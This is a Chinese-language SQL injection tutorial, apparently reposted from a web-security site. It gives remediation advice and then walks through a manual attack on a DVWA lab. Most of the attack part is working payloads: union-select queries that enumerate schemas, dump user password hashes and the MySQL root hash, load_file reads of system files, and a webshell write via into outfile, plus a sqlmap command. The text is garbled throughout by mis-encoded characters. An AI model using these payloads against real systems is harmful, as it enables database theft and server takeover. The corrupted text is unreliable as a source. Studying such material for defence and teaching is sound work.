一、SQL 注入漏洞
-
漏洞描述
??Web 程序代碼中對于用戶提交的參數未做過濾就直接放到 SQL 語句中執(zhí)行,導致參數中的特殊字符打破了 SQL 語句原有邏輯,黑客可以利用該漏洞執(zhí)行任意 SQL 語句,如查詢數據、下載數據、寫入 webshell 、執(zhí)行系統(tǒng)命令以及繞過登錄限制等。 -
測試方法
?? 在發(fā)現有可控參數的地方使用 sqlmap 進行 SQL 注入的檢查或者利用, 也可以使用其他的 SQL 注入工具,簡單點的可以手工測試,利用單引號、 and
1=1 和 and 1=2 以及字符型注入進行判斷!推薦使用 burpsuite 的 sqlmap 插件,這樣可以很方便,鼠標右鍵就可以將數據包直接發(fā)送到 sqlmap 里面進行檢測了! -
修復建議
?? 代碼層最佳防御 sql 漏洞方案:采用 sql 語句預編譯和綁定變量,是防御
sql 注入的最佳方法。 -
- ( 1 )所有的查詢語句都使用數據庫提供的參數化查詢接口,參數化的語句使用參數而不是將用戶輸入變量嵌入到 SQL 語句中。當前幾乎所有的數據庫系統(tǒng)都提供了參數化 SQL 語句執(zhí)行接口,使用此接口可以非常有效的防止 SQL 注入攻擊。
-
- ( 2 )對進入數據庫的特殊字符( ’ <>&*; 等)進行轉義處理,或編碼轉換。
-
- ( 3 )確認每種數據的類型,比如數字型的數據就必須是數字,數據庫中的存儲字段必須對應為 int 型。
-
- ( 4 )數據長度應該嚴格規(guī)定,能在一定程度上防止比較長的 SQL 注入語句無法正確執(zhí)行。
-
- ( 5 )網站每個數據層的編碼統(tǒng)一,建議全部使用 UTF-8 編碼,上下層編碼不一致有可能導致一些過濾模型被繞過。
-
- ( 6 )嚴格限制網站用戶的數據庫的操作權限,給此用戶提供僅僅能夠滿足其工作的權限,從而最大限度的減少注入攻擊
對數據庫的危害。
- ( 6 )嚴格限制網站用戶的數據庫的操作權限,給此用戶提供僅僅能夠滿足其工作的權限,從而最大限度的減少注入攻擊
-
- ( 7 )避免網站顯示 SQL 錯誤信息,比如類型錯誤、字段不匹配等,防止攻擊者利用這些錯誤信息進行一些判斷。
這里可進行查看到。
sqlmap包下載地址:https://sqlmap.org/
這里即可檢測到并附帶幾種注入方式。
1、與 mysql 注入的相關知識
在 mysql5 版本以后,mysql 默認在數據庫中存放在一個叫 infomation_schema 里面 這個庫里面有很多表 重點是這三個表 columns 、tables、SCHEMATA 表字段 CHEMA_NAME 記錄著庫的信息。
- tables 表字段 TABLE_SCHEMA 、TABLE_NAME 分別記錄著庫名和表名
- columns 存儲該用戶創(chuàng)建的所有數據庫的庫名、標名和字段名。
通過 infomation_schema 查詢 www_dvwa_com 庫里所有的表和字段
select * from information_schema.`COLUMNS` where TABLE_SCHEMA='www_dvwa_com'
數據庫.表名 這種查詢方法是指定某個數據庫某個表 ``這個符號可以忽略不用
查詢某個庫某個表的字段可以這樣查詢
select * from information_schema.COLUMNS where TABLE_SCHEMA='www_dvwa_com' and TABLE_NAME='users'
2、SQL 注入原理
SQL 注入漏洞的產生需要滿足以下兩個條件
- 參數用戶可控:從前端傳給后端的參數內容是用戶可以控制的
- 參數帶入數據庫查詢:傳入的參數拼接到 SQL 語句,且?guī)霐祿觳樵儭.斢脩魝魅雲禐?1’的時候,在數據庫執(zhí)行如下所示。
select * from users where id=1'
此 SQL 語句不符合語法規(guī)則就會報錯。
這里我們查詢一是可以進行搜索到的;
加個單引號則報錯:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
當用戶傳入參數為 1 and 1=1 時
select * from users where id=1 and 1=1
因為 1=1 為真 id=1 也是真 and 兩邊均為真 所以頁面會返回 id=1 的結果。如果用戶傳入參數為 1 and 1=2 時,等同于SELECT * FROM users WHERE id=1 AND 1=2
因為 1=2 為假 id=1 為真 and 兩邊有一個為假,所以頁面返回與 id=1 不一樣的
結果。
由此可以初步判斷存在 SQL 注入漏洞,攻擊者可以進一步拼接 SQL 攻擊語句, 進行攻擊,致使信息泄露,甚至獲取服務器權限。
3、判斷是否存在注入回顯是指頁面有數據信息返回id =1 and 1=1
id = 1 and 1=2
id = 1 or 1=1
id = '1' or '1'='1'
id=" 1 "or "1"="1"
無回顯是指 根據輸入的語句 頁面沒有任何變化,或者沒有數據庫中的內容顯示到網頁中.
4、三種 sql 注釋符
#
單行注釋 注意與 url 中的#區(qū)分,常編碼為%23--
空格 單行注釋 注意為短線短線空格/*()*/
多行注釋 至少存在倆處的注入 /**/
常用來作為空格
5、注入流程
是否存在注入并且判斷注入類型判斷字段數 order by
確定回顯點 union select 1,2
查詢數據庫信息 @@version @@datadir
查詢用戶名,數據庫名 user() database()
文件讀取 union select 1,load_file('C:\\wondows\\win.ini')#
寫入 webshell select..into outfile...
補充一點,使用 sql
注入遇到轉義字符串的單引號或者雙引號,可使用 HEX
編碼繞過
6、SQL 注入分類
SQL 注入分類:按 SQLMap 中的分類來看,SQL 注入類型有以下 5 種: UNION query SQL injection
(可聯合查詢注入)Stacked queries SQL injection
(可多語句查詢注入)堆疊查詢Boolean-based blind SQL injection
(布爾型注入) Error-based SQL injection
(報錯型注入)Time-based blind SQL injection
(基于時間延遲注入)
sqlmap -u "http://192.168.13.143/06/vul/sqli/sqli_str.php?name=vince&submit=1" -p name --dbms mysql -v 1
7、接受請求類型區(qū)分
GET 注入
GET 請求的參數是放在 URL 里的,GET 請求的 URL 傳參有長度限制 中文需要
URL 編碼
POST 注入
POST 請求參數是放在請求 body 里的,長度沒有限制
COOKIE 注入
cookie 參數放在請求頭信息,提交的時候 服務器會從請求頭獲取
8、注入數據類型的區(qū)分
int 整型
select * from users where id=1
sting 字符型
select * from users where username='admin'
like 搜索型
select * from news where title like '%標題%'
9、SQL 注入常規(guī)利用思路:
- 1、尋找注入點,可以通過 web 掃描工具實現
- 2、通過注入點,嘗試獲得關于連接數據庫用戶名、數據庫名稱、連接數據庫用戶權限、操作系統(tǒng)信息、數據庫版本等相關信息。
- 3、猜解關鍵數據庫表及其重要字段與內容(常見如存放管理員賬戶的表名、字段名等信息)
-
- 3.1 還可以獲取數據庫的 root 賬號 密碼—思路
- 4、可以通過獲得的用戶信息,尋找后臺登錄。
- 5、利用后臺或了解的進一步信息。
10、手工注入常規(guī)思路:
- 判斷是否存在注入,注入是字符型還是數字型
- 猜解 SQL 查詢語句中的字段數
order by N
- 確定顯示的字段順序
- 獲取當前數據庫
- 獲取數據庫中的表
- 獲取表中的字段名
- 查詢到賬戶的數據
11、SQL 詳細注入過程
猜數據庫:
1' union select 1,database()
payload 利用另一種方式:
1' union select user(),database() version()
得到數據庫名:dvwa
PS:union 查詢結合了兩個 select 查詢結果,根據上面的 order by 語句我們知道查詢包含兩列,為了能夠現實兩列查詢結果,我們需要用 union 查詢結合我們構造的另外一個 select.注意在使用 union 查詢的時候需要和主查詢的列數相同。猜表名:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema =database()
得到表名:guestbook,users
group_concat
分組猜列名:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name =0x7573657273#
1' union select 1,group_concat(column_name) from information_schema.columns where table_name ='users'#
(用編碼就不用單引號,用單引號就不用編碼)
得到列 : user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,usernam e,password
猜用戶數據:
列舉出幾種 payload
:
1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
1' union select null,concat_ws(char(32,58,32),user,password) from users #
1' union select null,group_concat(concat_ws(char(32,58,32),user,password)) from users #
得到用戶數據:
admin 5f4dcc3b5aa765d61d8327deb882cf99
猜 root 用戶:
1' union select 1,group_concat(user,password) from mysql.user
得到root用戶信息: root*81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
12、union 聯合注入原理
聯合查詢注入是聯合兩個表進行注入攻擊,使用關鍵詞 union select 對兩個表進行聯合查詢。兩個表的字段要數要相同,不然會出現報錯。
- guestbook 表有三個字段
- users 有八個字段
如果直接聯合兩個表 因為列數跟第一個表不一樣 會導致出錯
整合的聯合查詢方法
SELECT * FROM guestbook WHERE comment_id=1 union select 1,2,3 from users
guestbook 有個三個字段 users 也需要有三個與之匹配
這些數字可以替換成字段的名稱或者函數。替換成函數
SELECT * FROM guestbook WHERE comment_id=1 union select database(),user(),version() from users
字段替換成字段
SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users
如果沒有加上 limit 限定條數會把所有內容查詢出來,所以都會加上 limit 1 限定SELECT * FROM guestbook WHERE comment_id=1 union select user_id,user,password from users limit 1
文章來源:http://www.zghlxwxcb.cn/news/detail-694229.html
但是只會顯示第一條,因為 SELECT * FROM guestbook WHERE comment_id=1
這個語句是存在記錄的 如果想要admin 的內容可以把1 換成其他不存在的記錄, 因為默認負數就表示不存在的,所以可以在數字前加上-1 即可顯示第二個表的內容。文章來源地址http://www.zghlxwxcb.cn/news/detail-694229.html
SELECT * FROM guestbook WHERE comment_id=-1 union select user_id,user,password from users limit 1
到了這里,關于Web安全——Web安全漏洞與利用上篇(僅供學習)的文章就介紹完了。如果您還想了解更多內容,請在右上角搜索TOY模板網以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網!